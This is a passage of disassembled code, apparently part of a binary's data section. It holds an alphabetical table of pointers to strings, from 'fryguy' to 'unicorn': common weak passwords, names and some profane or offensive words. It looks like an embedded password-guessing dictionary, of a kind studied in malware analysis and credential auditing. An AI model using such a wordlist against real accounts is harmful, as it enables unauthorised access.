		dd offset aFryguy	; "fryguy"
		dd offset aFuck		; "fuck"
		dd offset aFucker	; "fucker"
		dd offset aFucking	; "fucking"
		dd offset aFuckme	; "fuckme"
		dd offset aFuckyou	; "fuckyou"
		dd offset aFudge	; "fudge"
		dd offset aFunction	; "function"
		dd offset aFungible	; "fungible"
		dd offset aGabriel	; "gabriel"
		dd offset aGames	; "games"
		dd offset aGardner	; "gardner"
		dd offset aGarfield	; "garfield"
		dd offset aGateway	; "gateway"
		dd offset aGatherin	; "gatherin"
		dd offset aGatt		; "gatt"
		dd offset aGauss	; "gauss"
		dd offset aGeorge	; "george"
		dd offset aGerm		; "germ"
		dd offset aGertrude	; "gertrude"
		dd offset aGhost	; "ghost"
		dd offset aGibson	; "gibson"
		dd offset aGigabyte	; "gigabyte"
		dd offset aGina		; "gina"
		dd offset aGinger	; "ginger"
		dd offset aGirl		; "girl"
		dd offset aGlacier	; "glacier"
		dd offset aGold		; "gold"
		dd offset aGolden	; "golden"
		dd offset aGolf		; "golf"
		dd offset aGolfer	; "golfer"
		dd offset aGood		; "good"
		dd offset aGorgeous	; "gorgeous"
		dd offset aGorges	; "gorges"
		dd offset aGosling	; "gosling"
		dd offset aGouge	; "gouge"
		dd offset aGovermen	; "govermen"
		dd offset aGrades	; "grades"
		dd offset aGraham	; "graham"
		dd offset aGrahm	; "grahm"
		dd offset aGrand	; "grand"
		dd offset aGrant	; "grant"
		dd offset aGreat	; "great"
		dd offset aGreen	; "green"
		dd offset aGroup	; "group"
		dd offset aGryphon	; "gryphon"
		dd offset aGuardian	; "guardian"
		dd offset aGucci	; "gucci"
		dd offset aGuess	; "guess"
		dd offset aGuitar	; "guitar"
		dd offset aGumption	; "gumption"
		dd offset aGuntis	; "guntis"
		dd offset aHack		; "hack"
		dd offset aHacked	; "hacked"
		dd offset aHagar	; "hagar"
		dd offset aHair		; "hair"
		dd offset aHallowee	; "hallowee"
		dd offset aHamlet	; "hamlet"
		dd offset aHamster	; "hamster"
		dd offset aHandel	; "handel"
		dd offset aHandily	; "handily"
		dd offset aHandjob	; "handjob"
		dd offset aHappenin	; "happenin"
		dd offset aHard		; "hard"
		dd offset aHardcore	; "hardcore"
		dd offset aHarddriv	; "harddriv"
		dd offset aHarmony	; "harmony"
		dd offset aHarold	; "harold"
		dd offset aHarvey	; "harvey"
		dd offset aHate		; "hate"
		dd offset aHaven	; "haven"
		dd offset aHawaii	; "hawaii"
		dd offset aHead		; "head"
		dd offset aHeadbang	; "headbang"
		dd offset aHeat		; "heat"
		dd offset aHeathen	; "heathen"
		dd offset aHeather	; "heather"
		dd offset aHebrides	; "hebrides"
		dd offset aHeidi	; "heidi"
		dd offset aHeinlein	; "heinlein"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aHelp		; "help"
		dd offset aHerb		; "herb"
		dd offset aHerbert	; "herbert"
		dd offset aHero		; "hero"
		dd offset aHeroin	; "heroin"
		dd offset aHewlett	; "hewlett"
		dd offset aHexadeci	; "hexadeci"
		dd offset aHiawatha	; "hiawatha"
		dd offset aHibernia	; "hibernia"
		dd offset aHidden	; "hidden"
		dd offset aHigh		; "high"
		dd offset aHighland	; "highland"
		dd offset aHitler	; "hitler"
		dd offset aHits		; "hits"
		dd offset aHole		; "hole"
		dd offset aHolly	; "holly"
		dd offset aHollywoo	; "hollywoo"
		dd offset aHomepage	; "homepage"
		dd offset aHomer	; "homer"
		dd offset aHomework	; "homework"
		dd offset aHoney	; "honey"
		dd offset aHooker	; "hooker"
		dd offset aHooters	; "hooters"
		dd offset aHorny	; "horny"
		dd offset aHorrible	; "horrible"
		dd offset aHorror	; "horror"
		dd offset aHorse	; "horse"
		dd offset aHorus	; "horus"
		dd offset aHost		; "host"
		dd offset aHotdog	; "hotdog"
		dd offset aHotel	; "hotel"
		dd offset aHttp_0	; "http"
		dd offset aHunt		; "hunt"
		dd offset aHunter	; "hunter"
		dd offset aHutchins	; "hutchins"
		dd offset aHydrogen	; "hydrogen"
		dd offset aHyper	; "hyper"
		dd offset aHypertxt	; "hypertxt"
		dd offset aIcecream	; "icecream"
		dd offset aIllumina	; "illumina"
		dd offset aImage	; "image"
		dd offset aImbrogli	; "imbrogli"
		dd offset aImmortal	; "immortal"
		dd offset aImperial	; "imperial"
		dd offset aInclude	; "include"
		dd offset aIndia	; "india"
		dd offset aIndian	; "indian"
		dd offset aIndiana	; "indiana"
		dd offset aIndians	; "indians"
		dd offset aIngres	; "ingres"
		dd offset aIngress	; "ingress"
		dd offset aIngrid	; "ingrid"
		dd offset aInna		; "inna"
		dd offset aInnocuou	; "innocuou"
		dd offset aInput	; "input"
		dd offset aInside	; "inside"
		dd offset aInteger	; "integer"
		dd offset aInvent	; "invent"
		dd offset aIrene	; "irene"
		dd offset aIrishman	; "irishman"
		dd offset aIsis		; "isis"
		dd offset aJackie	; "jackie"
		dd offset aJail		; "jail"
		dd offset aJane		; "jane"
		dd offset aJanet	; "janet"
		dd offset aJanice	; "janice"
		dd offset aJanie	; "janie"
		dd offset aJapan	; "japan"
		dd offset aJasmin	; "jasmin"
		dd offset aJava		; "java"
		dd offset aJazz		; "jazz"
		dd offset aJean		; "jean"
		dd offset aJeanne	; "jeanne"
		dd offset aJeff		; "jeff"
		dd offset aJenni	; "jenni"
		dd offset aJennifer	; "jennifer"
		dd offset aJenny	; "jenny"
		dd offset aJerry	; "jerry"
		dd offset aJerusale	; "jerusale"
		dd offset aJessica	; "jessica"
		dd offset aJester	; "jester"
		dd offset aJewelry	; "jewelry"
		dd offset aJill		; "jill"
		dd offset aJixian	; "jixian"
		dd offset aJoanne	; "joanne"
		dd offset aJody		; "jody"
		dd offset aJohn		; "john"
		dd offset aJohndoe	; "johndoe"
		dd offset aJohnny	; "johnny"
		dd offset aJoseph	; "joseph"
		dd offset aJoshua	; "joshua"
		dd offset aJournal	; "journal"
		dd offset aJoyce	; "joyce"
		dd offset aJudith	; "judith"
		dd offset aJudy		; "judy"
		dd offset aJuggle	; "juggle"
		dd offset aJuicy	; "juicy"
		dd offset aJulia	; "julia"
		dd offset aJulie	; "julie"
		dd offset aJuliet	; "juliet"
		dd offset aJune		; "june"
		dd offset aJupiter	; "jupiter"
		dd offset aKaka		; "kaka"
		dd offset aKaren	; "karen"
		dd offset aKarie	; "karie"
		dd offset aKarina	; "karina"
		dd offset aKatana	; "katana"
		dd offset aKate		; "kate"
		dd offset aKathleen	; "kathleen"
		dd offset aKathrine	; "kathrine"
		dd offset aKathy	; "kathy"
		dd offset aKatina	; "katina"
		dd offset aKatrina	; "katrina"
		dd offset aKelly	; "kelly"
		dd offset aKeri		; "keri"
		dd offset aKermit	; "kermit"
		dd offset aKernel	; "kernel"
		dd offset aKerri	; "kerri"
		dd offset aKerrie	; "kerrie"
		dd offset aKerry	; "kerry"
		dd offset aKevin	; "kevin"
		dd offset aKewl		; "kewl"
		dd offset aKeybord	; "keybord"
		dd offset aKeyin	; "keyin"
		dd offset aKeyword	; "keyword"
		dd offset aKids		; "kids"
		dd offset aKill		; "kill"
		dd offset aKillthem	; "killthem"
		dd offset aKilo		; "kilo"
		dd offset aKimberly	; "kimberly"
		dd offset aKing		; "king"
		dd offset aKirk		; "kirk"
		dd offset aKirkland	; "kirkland"
		dd offset aKiss		; "kiss"
		dd offset aKissmyas	; "kissmyas"
		dd offset aKitten	; "kitten"
		dd offset aKlingon	; "klingon"
		dd offset aKnife	; "knife"
		dd offset aKnight	; "knight"
		dd offset aKnightma	; "knightma"
		dd offset aKnown	; "known"
		dd offset aKrista	; "krista"
		dd offset aKristen	; "kristen"
		dd offset aKristi	; "kristi"
		dd offset aKristie	; "kristie"
		dd offset aKristin	; "kristin"
		dd offset aKristine	; "kristine"
		dd offset aKristy	; "kristy"
		dd offset aLadies	; "ladies"
		dd offset aLadle	; "ladle"
		dd offset aLakers	; "lakers"
		dd offset aLambda	; "lambda"
		dd offset aLaminati	; "laminati"
		dd offset aLana		; "lana"
		dd offset aLaptop	; "laptop"
		dd offset aLara		; "lara"
		dd offset aLarkin	; "larkin"
		dd offset aLarry	; "larry"
		dd offset aLaser	; "laser"
		dd offset aLaura	; "laura"
		dd offset aLava		; "lava"
		dd offset aLazarus	; "lazarus"
		dd offset aLazer	; "lazer"
		dd offset aLeah		; "leah"
		dd offset aLebesgue	; "lebesgue"
		dd offset aLeft		; "left"
		dd offset aLeftwing	; "leftwing"
		dd offset aLegal	; "legal"
		dd offset aLeland	; "leland"
		dd offset aLeroy	; "leroy"
		dd offset aLesbian	; "lesbian"
		dd offset aLeslie	; "leslie"
		dd offset aLetmein	; "letmein"
		dd offset aLewis	; "lewis"
		dd offset aLexluthe	; "lexluthe"
		dd offset aLiberal	; "liberal"
		dd offset aLibrary	; "library"
		dd offset aLick		; "lick"
		dd offset aLicker	; "licker"
		dd offset aLife		; "life"
		dd offset aLight	; "light"
		dd offset aLightsab	; "lightsab"
		dd offset aLima		; "lima"
		dd offset aLimbaugh	; "limbaugh"
		dd offset aLimited	; "limited"
		dd offset aLinda	; "linda"
		dd offset aLink		; "link"
		dd offset aLion		; "lion"
		dd offset aLips		; "lips"
		dd offset aLisa		; "lisa"
		dd offset aLisp		; "lisp"
		dd offset aLiteratu	; "literatu"
		dd offset aLive		; "live"
		dd offset aLoad		; "load"
		dd offset aLock		; "lock"
		dd offset aLockout	; "lockout"
		dd offset aLockword	; "lockword"
		dd offset aLogic	; "logic"
		dd offset aLoginwor	; "loginwor"
		dd offset aLogout	; "logout"
		dd offset aLois		; "lois"
		dd offset aLolopc	; "lolopc"
		dd offset aLoose	; "loose"
		dd offset aLore		; "lore"
		dd offset aLori		; "lori"
		dd offset aLorin	; "lorin"
		dd offset aLorraine	; "lorraine"
		dd offset aLoser	; "loser"
		dd offset aLouis	; "louis"
		dd offset aLovebug	; "lovebug"
		dd offset aLover	; "lover"
		dd offset aLuck		; "luck"
		dd offset aLucus	; "lucus"
		dd offset aLucy		; "lucy"
		dd offset aLude		; "lude"
		dd offset aLuke		; "luke"
		dd offset aLust		; "lust"
		dd offset aLynn		; "lynn"
		dd offset aLynne	; "lynne"
		dd offset aMachine	; "machine"
		dd offset aMacintos	; "macintos"
		dd offset aMack		; "mack"
		dd offset aMacro	; "macro"
		dd offset aMaggot	; "maggot"
		dd offset aMagic	; "magic"
		dd offset aMagnet	; "magnet"
		dd offset aMail		; "mail"
		dd offset aMaint	; "maint"
		dd offset aMalcolm	; "malcolm"
		dd offset aMalcom	; "malcom"
		dd offset aMana		; "mana"
		dd offset aManager	; "manager"
		dd offset aMara		; "mara"
		dd offset aMarci	; "marci"
		dd offset aMarcy	; "marcy"
		dd offset aMaria	; "maria"
		dd offset aMariens	; "mariens"
		dd offset aMarietta	; "marietta"
		dd offset aMarijuan	; "marijuan"
		dd offset aMarines	; "marines"
		dd offset aMark		; "mark"
		dd offset aMarkus	; "markus"
		dd offset aMarni	; "marni"
		dd offset aMarriage	; "marriage"
		dd offset aMars		; "mars"
		dd offset aMarty	; "marty"
		dd offset aMarvin	; "marvin"
		dd offset aMary		; "mary"
		dd offset aMason	; "mason"
		dd offset aMaster	; "master"
		dd offset aMath		; "math"
		dd offset aMaurice	; "maurice"
		dd offset aMeagan	; "meagan"
		dd offset aMegabyte	; "megabyte"
		dd offset aMegadeth	; "megadeth"
		dd offset aMegan	; "megan"
		dd offset aMelissa	; "melissa"
		dd offset aMellon	; "mellon"
		dd offset aMelrose	; "melrose"
		dd offset aMember	; "member"
		dd offset aMemory	; "memory"
		dd offset aMenace	; "menace"
		dd offset aMenu		; "menu"
		dd offset aMercury	; "mercury"
		dd offset aMerlin	; "merlin"
		dd offset aMetal	; "metal"
		dd offset aMetalhea	; "metalhea"
		dd offset aMetalica	; "metalica"
		dd offset aMets		; "mets"
		dd offset aMice		; "mice"
		dd offset aMichael	; "michael"
		dd offset aMichel	; "michel"
		dd offset aMichelan	; "michelan"
		dd offset aMichele	; "michele"
		dd offset aMichelle	; "michelle"
		dd offset aMickey	; "mickey"
		dd offset aMicro	; "micro"
		dd offset aMicrochi	; "microchi"
		dd offset aMicropro	; "micropro"
		dd offset aMicrosof	; "microsof"
		dd offset aMidieval	; "midieval"
		dd offset aMike		; "mike"
		dd offset aMine		; "mine"
		dd offset aMinimum	; "minimum"
		dd offset aMinsky	; "minsky"
		dd offset aMisfit	; "misfit"
		dd offset aMission	; "mission"
		dd offset aMkii		; "mkii"
		dd offset aMode		; "mode"
		dd offset aModem	; "modem"
		dd offset aMogul	; "mogul"
		dd offset aMoguls	; "moguls"
		dd offset aMonday	; "monday"
		dd offset aMonica	; "monica"
		dd offset aMoom		; "moom"
		dd offset aMoor		; "moor"
		dd offset aMoose	; "moose"
		dd offset aMore		; "more"
		dd offset aMorley	; "morley"
		dd offset aMorris	; "morris"
		dd offset aMortal	; "mortal"
		dd offset aMortalco	; "mortalco"
		dd offset aMortgage	; "mortgage"
		dd offset aMosaic	; "mosaic"
		dd offset aMountain	; "mountain"
		dd offset aMouse	; "mouse"
		dd offset aMove		; "move"
		dd offset aMovie	; "movie"
		dd offset aMovies	; "movies"
		dd offset aMozart	; "mozart"
		dd offset aMpeg		; "mpeg"
		dd offset aMsdos	; "msdos"
		dd offset aMuppets	; "muppets"
		dd offset aMutant	; "mutant"
		dd offset aNagel	; "nagel"
		dd offset aName		; "name"
		dd offset aNancy	; "nancy"
		dd offset aNapoleon	; "napoleon"
		dd offset aNasa		; "nasa"
		dd offset aNavy		; "navy"
		dd offset aNepenthe	; "nepenthe"
		dd offset aNeptune	; "neptune"
		dd offset aNess		; "ness"
		dd offset aNetscape	; "netscape"
		dd offset aNetwork_0	; "network"
		dd offset aNewborn	; "newborn"
		dd offset aNews		; "news"
		dd offset aNewsgrou	; "newsgrou"
		dd offset aNewton	; "newton"
		dd offset aNewyork	; "newyork"
		dd offset aNext		; "next"
		dd offset aNice		; "nice"
		dd offset aNicole	; "nicole"
		dd offset aNicotine	; "nicotine"
		dd offset aNight	; "night"
		dd offset aNightmar	; "nightmar"
		dd offset aNintendo	; "nintendo"
		dd offset aNita		; "nita"
		dd offset aNnaacp	; "nnaacp"
		dd offset aNoble	; "noble"
		dd offset aNobody	; "nobody"
		dd offset aNode		; "node"
		dd offset aNoreen	; "noreen"
		dd offset aNotes	; "notes"
		dd offset aNoth		; "noth"
		dd offset aNova		; "nova"
		dd offset aNovel	; "novel"
		dd offset aNovember	; "november"
		dd offset aNoxious	; "noxious"
		dd offset aNuclear	; "nuclear"
		dd offset aNude		; "nude"
		dd offset aNuke		; "nuke"
		dd offset aNukem	; "nukem"
		dd offset aNull_1	; "null"
		dd offset aNumber	; "number"
		dd offset aNutritio	; "nutritio"
		dd offset aNuts		; "nuts"
		dd offset aNyquist	; "nyquist"
		dd offset aObscurit	; "obscurit"
		dd offset aOceanogr	; "oceanogr"
		dd offset aOcelot	; "ocelot"
		dd offset aOffice	; "office"
		dd offset aOkay		; "okay"
		dd offset aOldage	; "oldage"
		dd offset aOlivetti	; "olivetti"
		dd offset aOlivia	; "olivia"
		dd offset aOmega	; "omega"
		dd offset aOpen		; "open"
		dd offset aOpening	; "opening"
		dd offset aOpenlock	; "openlock"
		dd offset aOpensesa	; "opensesa"
		dd offset aOperator	; "operator"
		dd offset aOrca		; "orca"
		dd offset aOrient	; "orient"
		dd offset aOrwell	; "orwell"
		dd offset aOscar	; "oscar"
		dd offset aOsiris	; "osiris"
		dd offset aOutdoors	; "outdoors"
		dd offset aOutlaw	; "outlaw"
		dd offset aOutput	; "output"
		dd offset aOutside	; "outside"
		dd offset aOxford	; "oxford"
		dd offset aPacific	; "pacific"
		dd offset aPackard	; "packard"
		dd offset aPacker	; "packer"
		dd offset aPainless	; "painless"
		dd offset aPaint	; "paint"
		dd offset aPakistan	; "pakistan"
		dd offset aPamela	; "pamela"
		dd offset aPapa		; "papa"
		dd offset aPaper	; "paper"
		dd offset aPapers	; "papers"
		dd offset aPascal	; "pascal"
		dd offset aPassphra	; "passphra"
		dd offset aPaste	; "paste"
		dd offset aPatricia	; "patricia"
		dd offset aPatriot	; "patriot"
		dd offset aPatty	; "patty"
		dd offset aPaula	; "paula"
		dd offset aPeanuts	; "peanuts"
		dd offset aPecker	; "pecker"
		dd offset aPencil	; "pencil"
		dd offset aPenelope	; "penelope"
		dd offset aPenguin	; "penguin"
		dd offset aPenis	; "penis"
		dd offset aPenname	; "penname"
		dd offset aPentagon	; "pentagon"
		dd offset aPentagra	; "pentagra"
		dd offset aPenthous	; "penthous"
		dd offset aPentium	; "pentium"
		dd offset aPeoria	; "peoria"
		dd offset aPepper	; "pepper"
		dd offset aPercolat	; "percolat"
		dd offset aPerfect	; "perfect"
		dd offset aPermit	; "permit"
		dd offset aPersimmo	; "persimmo"
		dd offset aPersona	; "persona"
		dd offset aPervert	; "pervert"
		dd offset aPete		; "pete"
		dd offset aPeter	; "peter"
		dd offset aPhil		; "phil"
		dd offset aPhilip	; "philip"
		dd offset aPhoenix	; "phoenix"
		dd offset aPhone	; "phone"
		dd offset aPhoton	; "photon"
		dd offset aPhrack	; "phrack"
		dd offset aPhrase	; "phrase"
		dd offset aPhreak	; "phreak"
		dd offset aPhuck	; "phuck"
		dd offset aPick		; "pick"
		dd offset aPierre	; "pierre"
		dd offset aPimp		; "pimp"
		dd offset aPinname	; "pinname"
		dd offset aPiss		; "piss"
		dd offset aPizza	; "pizza"
		dd offset aPlane	; "plane"
		dd offset aPlayboy	; "playboy"
		dd offset aPlover	; "plover"
		dd offset aPluto	; "pluto"
		dd offset aPlymouth	; "plymouth"
		dd offset aPoetry	; "poetry"
		dd offset aPolice	; "police"
		dd offset aPolly	; "polly"
		dd offset aPolynomi	; "polynomi"
		dd offset aPonderin	; "ponderin"
		dd offset aPoop		; "poop"
		dd offset aPoor		; "poor"
		dd offset aPork		; "pork"
		dd offset aPorn		; "porn"
		dd offset aPorno	; "porno"
		dd offset aPorsche	; "porsche"
		dd offset aPost		; "post"
		dd offset aPoster	; "poster"
		dd offset aPower	; "power"
		dd offset aPraise	; "praise"
		dd offset aPrecious	; "precious"
		dd offset aPrelude	; "prelude"
		dd offset aPresto	; "presto"
		dd offset aPrince	; "prince"
		dd offset aPrinceto	; "princeto"
		dd offset aPrinter	; "printer"
		dd offset aPriv		; "priv"
		dd offset aPrivate	; "private"
		dd offset aPrivs	; "privs"
		dd offset aProceed	; "proceed"
		dd offset aProcesso	; "processo"
		dd offset aProfesso	; "professo"
		dd offset aProfile	; "profile"
		dd offset aProgram	; "program"
		dd offset aPrompt	; "prompt"
		dd offset aProtect	; "protect"
		dd offset aProtozoa	; "protozoa"
		dd offset aPsycho	; "psycho"
		dd offset aPsychopa	; "psychopa"
		dd offset aPublic	; "public"
		dd offset aPuck		; "puck"
		dd offset aPuke		; "puke"
		dd offset aPumpkin	; "pumpkin"
		dd offset aPuneet	; "puneet"
		dd offset aPunisher	; "punisher"
		dd offset aPunk		; "punk"
		dd offset aPuppet	; "puppet"
		dd offset aPussy	; "pussy"
		dd offset aQuebec	; "quebec"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aRabbit	; "rabbit"
		dd offset aRachel	; "rachel"
		dd offset aRachelle	; "rachelle"
		dd offset aRachmani	; "rachmani"
		dd offset aRaid		; "raid"
		dd offset aRain		; "rain"
		dd offset aRainbow	; "rainbow"
		dd offset aRaindrop	; "raindrop"
		dd offset aRaleigh	; "raleigh"
		dd offset aRandom	; "random"
		dd offset aRape		; "rape"
		dd offset aRascal	; "rascal"
		dd offset aRazor	; "razor"
		dd offset aReagan	; "reagan"
		dd offset aReality	; "reality"
		dd offset aReally	; "really"
		dd offset aReam		; "ream"
		dd offset aReaper	; "reaper"
		dd offset aRebal	; "rebal"
		dd offset aRebecca	; "rebecca"
		dd offset aRebel	; "rebel"
		dd offset aRecord	; "record"
		dd offset aReddawn	; "reddawn"
		dd offset aRedhead	; "redhead"
		dd offset aReferenc	; "referenc"
		dd offset aRegional	; "regional"
		dd offset aRelease	; "release"
		dd offset aRemote	; "remote"
		dd offset aRenee	; "renee"
		dd offset aReno		; "reno"
		dd offset aRent		; "rent"
		dd offset aReport	; "report"
		dd offset aRepublic	; "republic"
		dd offset aResistan	; "resistan"
		dd offset aReveal	; "reveal"
		dd offset aRhino	; "rhino"
		dd offset aRich		; "rich"
		dd offset aRick		; "rick"
		dd offset aRiffraff	; "riffraff"
		dd offset aRight	; "right"
		dd offset aRightwin	; "rightwin"
		dd offset aRing		; "ring"
		dd offset aRiot		; "riot"
		dd offset aRipple	; "ripple"
		dd offset aRisc		; "risc"
		dd offset aRoach	; "roach"
		dd offset aRobert	; "robert"
		dd offset aRobin	; "robin"
		dd offset aRobot	; "robot"
		dd offset aRobotics	; "robotics"
		dd offset aRobyn	; "robyn"
		dd offset aRochelle	; "rochelle"
		dd offset aRocheste	; "rocheste"
		dd offset aRock		; "rock"
		dd offset aRocky	; "rocky"
		dd offset aRockyhor	; "rockyhor"
		dd offset aRodent	; "rodent"
		dd offset aRolex	; "rolex"
		dd offset aRomano	; "romano"
		dd offset aRomeo	; "romeo"
		dd offset aRomulan	; "romulan"
		dd offset aRonald	; "ronald"
		dd offset aRose		; "rose"
		dd offset aRosebud	; "rosebud"
		dd offset aRosemary	; "rosemary"
		dd offset aRoses	; "roses"
		dd offset aRough	; "rough"
		dd offset aRubber	; "rubber"
		dd offset aRuben	; "ruben"
		dd offset aRuby		; "ruby"
		dd offset aRude		; "rude"
		dd offset aRules	; "rules"
		dd offset aRunning	; "running"
		dd offset aRush		; "rush"
		dd offset aRuth		; "ruth"
		dd offset aSafe		; "safe"
		dd offset aSalami	; "salami"
		dd offset aSale		; "sale"
		dd offset aSalt		; "salt"
		dd offset aSamantha	; "samantha"
		dd offset aSample	; "sample"
		dd offset aSandra	; "sandra"
		dd offset aSandy	; "sandy"
		dd offset aSara		; "sara"
		dd offset aSarah	; "sarah"
		dd offset aSaturday	; "saturday"
		dd offset aSaturn	; "saturn"
		dd offset aSaxon	; "saxon"
		dd offset aScamper	; "scamper"
		dd offset aScheme	; "scheme"
		dd offset aSchool	; "school"
		dd offset aSchoolsucks	; "schoolsucks"
		dd offset aScifi	; "scifi"
		dd offset aScorpion	; "scorpion"
		dd offset aScott	; "scott"
		dd offset aScotty	; "scotty"
		dd offset aScout	; "scout"
		dd offset aSearch	; "search"
		dd offset aSecurity	; "security"
		dd offset aSeed		; "seed"
		dd offset aSega		; "sega"
		dd offset aSensor	; "sensor"
		dd offset aSentinel	; "sentinel"
		dd offset aSentry	; "sentry"
		dd offset aSerenity	; "serenity"
		dd offset aSerial_0	; "serial"
		dd offset aService	; "service"
		dd offset aSesame	; "sesame"
		dd offset aSexy		; "sexy"
		dd offset aShannon	; "shannon"
		dd offset aSharc	; "sharc"
		dd offset aShark	; "shark"
		dd offset aSharks	; "sharks"
		dd offset aSharon	; "sharon"
		dd offset aSheffiel	; "sheffiel"
		dd offset aSheldon	; "sheldon"
		dd offset aShell	; "shell"
		dd offset aSherri	; "sherri"
		dd offset aShift	; "shift"
		dd offset aShirley	; "shirley"
		dd offset aShit		; "shit"
		dd offset aShitpot	; "shitpot"
		dd offset aShiva	; "shiva"
		dd offset aShivers	; "shivers"
		dd offset aShort	; "short"
		dd offset aShuttle	; "shuttle"
		dd offset aSick		; "sick"
		dd offset aSierra	; "sierra"
		dd offset aSignatur	; "signatur"
		dd offset aSilver	; "silver"
		dd offset aSimcity	; "simcity"
		dd offset aSimon	; "simon"
		dd offset aSimple	; "simple"
		dd offset aSimpsons	; "simpsons"
		dd offset aSimulati	; "simulati"
		dd offset aSinger	; "singer"
		dd offset aSingle	; "single"
		dd offset aSite		; "site"
		dd offset aSkull	; "skull"
		dd offset aSlave	; "slave"
		dd offset aSlick	; "slick"
		dd offset aSliders	; "sliders"
		dd offset aSlow		; "slow"
		dd offset aSlut		; "slut"
		dd offset aSmall	; "small"
		dd offset aSmart	; "smart"
		dd offset aSmile	; "smile"
		dd offset aSmiles	; "smiles"
		dd offset aSmooch	; "smooch"
		dd offset aSmother	; "smother"
		dd offset aSmtp		; "smtp"
		dd offset aSmut		; "smut"
		dd offset aSnach	; "snach"
		dd offset aSnafu	; "snafu"
		dd offset aSnake	; "snake"
		dd offset aSnatch	; "snatch"
		dd offset aSnoopy	; "snoopy"
		dd offset aSoap		; "soap"
		dd offset aSocial	; "social"
		dd offset aSocrates	; "socrates"
		dd offset aSodomy	; "sodomy"
		dd offset aSoft		; "soft"
		dd offset aSoftware	; "software"
		dd offset aSomebody	; "somebody"
		dd offset aSondra	; "sondra"
		dd offset aSonia	; "sonia"
		dd offset aSonic	; "sonic"
		dd offset aSonya	; "sonya"
		dd offset aSossina	; "sossina"
		dd offset aSource	; "source"
		dd offset aSouth	; "south"
		dd offset aSpaceshi	; "spaceshi"
		dd offset aSparrows	; "sparrows"
		dd offset aSpear	; "spear"
		dd offset aSpell	; "spell"
		dd offset aSpice	; "spice"
		dd offset aSpider	; "spider"
		dd offset aSpiderma	; "spiderma"
		dd offset aSpit		; "spit"
		dd offset aSpred	; "spred"
		dd offset aSpring	; "spring"
		dd offset aSpringer	; "springer"
		dd offset aSpunk	; "spunk"
		dd offset aSquires	; "squires"
		dd offset aSr71		; "sr71"
		dd offset aStacey	; "stacey"
		dd offset aStaci	; "staci"
		dd offset aStacie	; "stacie"
		dd offset aStacy	; "stacy"
		dd offset aStar		; "star"
		dd offset aStarship	; "starship"
		dd offset aStart	; "start"
		dd offset aStartrek	; "startrek"
		dd offset aStartup	; "startup"
		dd offset aStarwars	; "starwars"
		dd offset aSteak	; "steak"
		dd offset aSteal	; "steal"
		dd offset aSteel	; "steel"
		dd offset aSteph	; "steph"
		dd offset aStephani	; "stephani"
		dd offset aStereo	; "stereo"
		dd offset aSteve	; "steve"
		dd offset aStoneage	; "stoneage"
		dd offset aStoned	; "stoned"
		dd offset aStones	; "stones"
		dd offset aStrange	; "strange"
		dd offset aStrangle	; "strangle"
		dd offset aStratfor	; "stratfor"
		dd offset aStreetfi	; "streetfi"
		dd offset aString	; "string"
		dd offset aStrip	; "strip"
		dd offset aStudent	; "student"
		dd offset aStuttgar	; "stuttgar"
		dd offset aSubscrib	; "subscrib"
		dd offset aSubway	; "subway"
		dd offset aSuccess	; "success"
		dd offset aSuck		; "suck"
		dd offset aSuckmydi	; "suckmydi"
		dd offset aSucks	; "sucks"
		dd offset aSummer	; "summer"
		dd offset aSunday	; "sunday"
		dd offset aSuperman	; "superman"
		dd offset aSuperson	; "superson"
		dd offset aSupersta	; "supersta"
		dd offset aSuperuse	; "superuse"
		dd offset aSupervis	; "supervis"
		dd offset aSupport	; "support"
		dd offset aSupporte	; "supporte"
		dd offset aSurfer	; "surfer"
		dd offset aSurfing	; "surfing"
		dd offset aSusan	; "susan"
		dd offset aSusanne	; "susanne"
		dd offset aSusie	; "susie"
		dd offset aSuzanne	; "suzanne"
		dd offset aSuzie	; "suzie"
		dd offset aSwearer	; "swearer"
		dd offset aSweat	; "sweat"
		dd offset aSwitch	; "switch"
		dd offset aSword	; "sword"
		dd offset aSybil	; "sybil"
		dd offset aSymmetry	; "symmetry"
		dd offset aSysadmin	; "sysadmin"
		dd offset aSysop	; "sysop"
		dd offset aTabasco	; "tabasco"
		dd offset aTalk		; "talk"
		dd offset aTall		; "tall"
		dd offset aTamara	; "tamara"
		dd offset aTami		; "tami"
		dd offset aTamie	; "tamie"
		dd offset aTammy	; "tammy"
		dd offset aTangerin	; "tangerin"
		dd offset aTango	; "tango"
		dd offset aTape		; "tape"
		dd offset aTara		; "tara"
		dd offset aTarget	; "target"
		dd offset aTarragon	; "tarragon"
		dd offset aTaylor	; "taylor"
		dd offset aTeacher	; "teacher"
		dd offset aTeam		; "team"
		dd offset aTeapot	; "teapot"
		dd offset aTears	; "tears"
		dd offset aTech		; "tech"
		dd offset aTeen		; "teen"
		dd offset aTeenage	; "teenage"
		dd offset aTelephon	; "telephon"
		dd offset aTelnet	; "telnet"
		dd offset aTemptati	; "temptati"
		dd offset aTennis	; "tennis"
		dd offset aTera		; "tera"
		dd offset aTerminal	; "terminal"
		dd offset aTerminat	; "terminat"
		dd offset aTess		; "tess"
		dd offset aTetris	; "tetris"
		dd offset aText		; "text"
		dd offset aThailand	; "thailand"
		dd offset aTheresa	; "theresa"
		dd offset aThin		; "thin"
		dd offset aThursday	; "thursday"
		dd offset aTiffany	; "tiffany"
		dd offset aTiger	; "tiger"
		dd offset aTime		; "time"
		dd offset aTina		; "tina"
		dd offset aTits		; "tits"
		dd offset aToad		; "toad"
		dd offset aToggle	; "toggle"
		dd offset aToken	; "token"
		dd offset aTokenrin	; "tokenrin"
		dd offset aTomato	; "tomato"
		dd offset aTopograp	; "topograp"
		dd offset aTortoise	; "tortoise"
		dd offset aToxic	; "toxic"
		dd offset aToyota	; "toyota"
		dd offset aTraci	; "traci"
		dd offset aTracie	; "tracie"
		dd offset aTracy	; "tracy"
		dd offset aTrails	; "trails"
		dd offset aTransfer	; "transfer"
		dd offset aTrap		; "trap"
		dd offset aTrapdoor	; "trapdoor"
		dd offset aTree		; "tree"
		dd offset aTrek		; "trek"
		dd offset aTrisha	; "trisha"
		dd offset aTrivial	; "trivial"
		dd offset aTrojan	; "trojan"
		dd offset aTrombone	; "trombone"
		dd offset aTron		; "tron"
		dd offset aTrue		; "true"
		dd offset aTruth	; "truth"
		dd offset aTubas	; "tubas"
		dd offset aTuesday	; "tuesday"
		dd offset aTurn		; "turn"
		dd offset aTuttle	; "tuttle"
		dd offset aUgly		; "ugly"
		dd offset aUmesh	; "umesh"
		dd offset aUncle	; "uncle"
		dd offset aUndo		; "undo"
		dd offset aUnhappy	; "unhappy"
		dd offset aUnicorn	; "unicorn"
